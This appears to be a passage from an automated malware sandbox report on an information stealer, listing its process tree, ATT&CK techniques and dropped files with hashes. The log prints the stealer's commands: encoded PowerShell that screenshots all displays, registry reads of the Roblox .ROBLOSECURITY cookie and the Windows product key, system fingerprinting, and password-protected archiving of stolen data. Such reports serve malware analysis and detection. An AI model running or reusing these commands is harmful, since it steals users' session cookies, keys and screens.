GUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2572
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3320
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\b5kphw3k\b5kphw3k.cmdline"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2580
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8C48.tmp" "c:\Users\Admin\AppData\Local\Temp\b5kphw3k\CSCA2753DD39518438E82E4B9AE97FAD96.TMP"
        6⤵
        
        PID:2056
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1888
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:4848
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2872
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:2576
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4004
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:3076
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2096
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:4536
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4756
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:1224
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "getmac"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5368
  - - C:\Windows\system32\getmac.exe
      getmac
      4⤵
      PID:2548
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4228
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:1788
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2656
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2288
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI000009102\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\yumFs.zip" *"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4936
  - - C:\Users\Admin\AppData\Local\Temp\_MEI000009102\rar.exe
      C:\Users\Admin\AppData\Local\Temp\_MEI000009102\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\yumFs.zip" *
      4⤵
      Executes dropped EXE
      PID:4664
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic os get Caption"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5416
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic os get Caption
      4⤵
      Reads the TCP/IP host and domain name from the registry
      Suspicious behavior: EnumeratesProcesses
      PID:3464
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4368
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic computersystem get totalphysicalmemory
      4⤵
      Reads the TCP/IP host and domain name from the registry
      Suspicious behavior: EnumeratesProcesses
      PID:5112
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5784
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      Queries system WMI classes for hardware identifiers
      Reads the TCP/IP host and domain name from the registry
      Suspicious behavior: EnumeratesProcesses
      PID:2648
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3160
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:1704
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1240
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Reads the TCP/IP host and domain name from the registry
      Detects videocard installed
      Suspicious behavior: EnumeratesProcesses
      PID:4324
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5464
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:200

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Windows Management Instrumentation

T1047

Persistence

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Process Discovery

T1057

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Clipboard Data

T1115

Data from Local System

T1005

Video Capture

T1125

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 435471b87a1a97b0e29f7d5dd0878e63031511f063629d7e750852c068e7c4f5
MD5 81b56f1dad28119d54bf23c83fc570b9
SHA1 cb9a89a716465611149ce3c700bd60681d434faf
SHA512 77bd4d53ca86d66d29ba662dd424e94e5cef46c6a460cbf9f8d87a40c627401c0f6d0fe30258c23ed1cf63df1a70b19288885a33c206fb85a19f12efaab61927
TLSH
T1F3216833B3DD8614C89A413A10CDAC1036B6C7DB40DECFAB7B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 ffa0be639f23b25e43e1d09ed7a15584869cbcddd98a0cf8cac1e38fd3f7983a
MD5 27f43efed0e4de61eb98b2091d8b79df
SHA1 253bfc935a3d9e5c9531ec0173001cbfd19c0e3a
SHA512 7767e728530840d08d5efbedceb02c2bff6ea972a57074a5f66a38910dd8842a4359c436de2a03d3f31448f322a22f50ad98319eb61cfcbdb466c9b03f1cf728
TLSH
T14D215433B3CD8665D899413A40CEAC0032B697DB409FCE9BAB84D518B43F689CE611A0
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 a976a31824c3a0cc2a6b0fd9ec6045c398d82990e5e96df2ad86ba09a9b05be5
MD5 66f9b690d4e5313231bc173ce7b2c029
SHA1 b0dbce2f97d8ca067ddde29c06272e56e38fa195
SHA512 8f0c4c220fc64928778bf68c853246126b44f40fcdc99aa2fdaa491797ce02783c8776fdd7bd3154544336f0466000a8b92c740ed0d0df75b8a6990da450650e
TLSH
T158216833B3DD8614C89A413A10CDAC1036B6C7DB41DECFAB7B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 789e9f27f9826d41aeca268e06f00008e94863657c119820a0be0620d0511fd7
MD5 cd0c85fbde39cb1e12107a0805b0b728
SHA1 24105967927557aacad441f182b0eb9f0692bce4
SHA512 08ac14ca8c5765809e9a22f107525cf015038a2a61d23934d93582915de005cff9fb412ada9b4300074393dfd873f83d4af6a70a33e774f33b7e468d71f00104
TLSH
T1C7215733F3CC8624CC9A403A50CEAC1036B687DB419ECE6BBB84D154A43F699DE61260
MD5 SHA1 SHA512 TLSH

Submit Download

RES8C48.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES8C48.tmp
Size 1KB
SHA256 1ff0be02e4cf08e45d790b4821cea72d753b279bee4a49589267feca4d4c38c1
MD5 77419742ab8e8dbbf0d4ba92ad9317a8
SHA1 f9f29fa400a593e04160e199125f57427074729e
SHA512 42b97032abad040d2a2b7020f919e8b4a7974e61d91de4f8303d401953bffc5448407f45ed75237bdc3e30ff08b9891374e0213e6ef20fd59829cb5ef264a1eb
TLSH
T1F021120553ED470FF0734731A9F6532FD234FC64EFA297AA8540422C1C51244EEA0B72
MD5 SHA1 SHA512 TLSH

Submit Download

VCRUNTIME140.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI000009102\VCRUNTIME140.dll
Size 106KB
SHA256 a8f950b4357ec12cfccddc9094cca56a3d5244b95e09ea6e9a746489f2d58736
MD5 4585a96cc4eef6aafd5e27ea09147dc6
SHA1 489cfff1b19abbec98fda26ac8958005e88dd0cb
SHA512 d78260c66331fe3029d2cc1b41a5d002ec651f2e3bbf55076d65839b5e3c6297955afd4d9ab8951fbdc9f929dbc65eb18b14b59bce1f2994318564eb4920f286
SSDEEP 1536:GcghbEGyzXJZDWnEzWG9q4lVOiVgXjO5/woecbq8qZHg2zuCS+zuecL:GV3iC0h9q4v6XjKwoecbq8qBTq+1cL
TLSH
T1A0B37C4A72A441F7C5AAD274C2E38A06FB71B541877093CF03B19A690F63BE15E3D356
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_bz2.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI000009102\_bz2.pyd
Size 48KB
SHA256 1db14a217c5279c106b9d55f440ccf19f35ef3a580188353b734e3e39099b13f
MD5 554b7b0d0daca993e22b7d31ed498bc2
SHA1 ea7f1823e782d08a99b437c665d86fa734fe3fe4
SHA512 4b36097eddd2c1d69ac98c7e98eebe7bb11a5117249ad36a99883732f643e21ecf58e6bea33b70974d600563dc0b0a30bead98bafb72537f8374b3d67979e60a
SSDEEP 1536:MtiGgF1TxbYecfs2F876zpfImCVQj7SysPxJ:MkHz4LFPNImCVQjGxJ
TLSH
T1DD23D06386242C39ED239DB234C85C25EB30B9939850C3DF72AC91691F527417BE627E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_ctypes.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI000009102\_ctypes.pyd
Size 58KB
SHA256 5ee40bcaab13fa9cf064ecae6fc0da6d236120c06fa41602893f1010efaa52fe
MD5 d603c8bfe4cfc71fe5134d64be2e929b
SHA1 ff27ea58f4f5b11b7eaa1c8884eac658e2e9248b
SHA512 fcc0dbfbe402300ae47e1cb2469d1f733a910d573328fe7990d69625e933988ecc21ab22f432945a78995129885f4a9392e1cee224d14e940338046f61abe361
SSDEEP 1536:/UOlRJUIp/i+OnIlnGgm5XVz4iImLPAf7SyNlPx:MOpnomlnGgoXVUiImLPAfPZx
TLSH
T1B643E1D642A5DC2CDC67CFB038D95825FD31B1A3C7B087D73289C22A6F6039256963B9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_decimal.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI000009102\_decimal.pyd
Size 106KB
SHA256 677d9993bb887fef60f6657de6c239086ace7725c68853e7636e2ff4a8f0d009
MD5 9cef71be6a40bc2387c383c217d158c7
SHA1 dd6bc79d69fc26e003d23b4e683e3fac21bc29cb
SHA512 90e02054163d44d12c603debdc4213c5a862f609617d78dd29f7fd21a0bae82add4ceaf30024da681c2a65d08a8142c83eb81d8294f1284edfbeeb7d66c371c8
SSDEEP 3072:CNb2HcDjyP1iSYsEHOqLQb1H7wtDWPnyTm2GN4ImOqGCArxv:CNb2HeyiOrH0t6r2kC8
TLSH
T150B302C18376ACBCED77807232E11229FB7071A68850C7EB354DD216AF4538287E567B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_hashlib.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI000009102\_hashlib.pyd
Size 35KB
SHA256 b7c9c540d54ab59c16936e1639c6565cd35a8ca625f31753e57db9cbd0ee0065
MD5 32df18692606ce984614c7efda2eec27
SHA1 86084e39ab0aadf0ecfb82ce066b7bf14152961e
SHA512 679f8956370edc4dee32475d8440a2d2f9b6dd0edd0e033e49fed7834a35c7ed51ccde0995d19ed0a559a4383b99ae8c11e4e686902db12a2a5e0a3f2c0f4a9d
SSDEEP 768:a91cXZ8iY8JshuVLX7lB6IKpp5rbImOIta5YiSyvCKPxWE9:ajSYZhuN3QlrbImOIt47Sy7Px
TLSH
T1F3F2C0A381B0B864CA224DB234D4D525F736785399938BE7314DC1BA4FD2782EFA5338
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_lzma.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI000009102\_lzma.pyd
Size 85KB
SHA256 a201ec286b0233644ae62c6e418588243a3f2a0c5a6f556e0d68b3c747020812
MD5 01629284f906c40f480e80104158f31a
SHA1 6ab85c66956856710f32aed6cdae64a60aea5f0f
SHA512 107a4e857dd78dd92be32911e3a574f861f3425e01ab4b1a7580ac799dc76122ce3165465d24c34ac7fc8f2810547ad72b4d4ba3de76d3d61ed9bf5b92e7f7d4
SSDEEP 1536:TwZh3A5zFTPuztVVQW1AyOXEyvYsnHUZK+K+k6Vvt7v/8ImZ1Lw7SyYAPxx3:kvA5utzWfXE0V0ZK+K+Jt7vUImZ1Lwtx
TLSH
T1968302670278C08CD4679D7221E8A5A6E670FE73875283FB3254817B0FB33D19A5327A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_queue.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI000009102\_queue.pyd
Size 25KB
SHA256 2163010bfde88a6cc15380516d31955935e243b7ad43558a89380bf5fe86337e
MD5 4a313dc23f9d0a1f328c74dd5cf3b9ab
SHA1 494f1f5ead41d41d324c82721ab7ca1d1b72c062
SHA512 42c712b758b35c0005b3528af586233298c2df4ed9f5133b8469bca9ec421ab151ce63f3929898c73d616cd9707594fa5f96d623fc150e214a4b2276c23c296e
SSDEEP 384:w0Psz9rLZgNhzHjlryUOy7s6Wp6hZa7gJXT7ImQUtNkHQIYiSy1pCQjtAPxh8E9s:GihFWRupD7ImQUtc5YiSyvxAPxWE9HJ
TLSH
T1D0C29EA342B8AC2CDD278EB134D44934FE30BDA7855183DB721C82764F6178267A2379
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_socket.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI000009102\_socket.pyd
Size 43KB
SHA256 ddbfa852e32e20d67a0c3d718ce68e9403c858d5cad44ea6404aff302556aba7
MD5 67897f8c3262aecb8c9f15292dd1e1f0
SHA1 74f1ef77dd3265846a504f98f2e2f080eadbf58a
SHA512 200b6570db2fbb2eac7f51cae8e16ffb89cd46d13fba94a7729a675f10f4432fc89a256fd6bd804feac528191bd116407fd58a0573487d905fc8fca022c1abba
SSDEEP 768:EhFQ8MABQICFr2Tg+z2uPxYEV/WJqOxU/XNqppz7ImLwQFC5YiSyvLPxWE9dK:gTiFtipt/ML4NIz7ImLwQFg7SyTPxJK
TLSH
T16A13D0A743B05838DE374CB234E98D296F35F597899483D7329C81B64F513829FA23B9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_sqlite3.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI000009102\_sqlite3.pyd
Size 56KB
SHA256 30a3bc9ed8f36e3065b583d56503b81297f32b4744bff72dcf918407978ce332
MD5 230025cf18b0c20c5f4abba63d733ca8
SHA1 336248fde1973410a0746599e14485d068771e30
SHA512 2c4d943c6587d28763cf7c21ad37cc4762674a75c643994b3e8e7c7b20576d5674cf700fdfaddc1a834d9bf034bf2f449d95351c236fde720505ccdd03369bb1
SSDEEP 1536:F1OB9LTyHEhkBFl837aWkbKlujFImOQAO7SyuWPxJ:i/LTyHRTU1kuluZImOQAOfxJ
TLSH
T1E443D0E303BAAC24D53B88B235C50C29E6717A7A5B21C3EB326D91760F707816F65379
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_ssl.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI000009102\_ssl.pyd
Size 62KB
SHA256 2fc63abe576c0d5fe031cf7ee0e2f11d9c510c6dbacfc5dd2e79e23da3650ee8
MD5 0d15b2fdfa03be76917723686e77823c
SHA1 efd799a4a5e4f9d15226584dd2ee03956f37bdaf
SHA512 e21ab5ebe8b97243cf32ca9181c311978e203852847e4beb5e6ada487038c37dec18a2b683e11e420e05ace014aca2172b2dda15930bab944053843e25623227
SSDEEP 1536:xzB+lCu0pTB1zYk0UdJSqtEZImC7b0E7SyZfPx:9cCu0pHzD0UFtWImC7bXbnx
TLSH
T12353F192476C5CAAD6338F7231C1DDB6FA31B9469FD68197300C93BE4B71382476226B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

base_library.zip

Path C:\Users\Admin\AppData\Local\Temp\_MEI000009102\base_library.zip
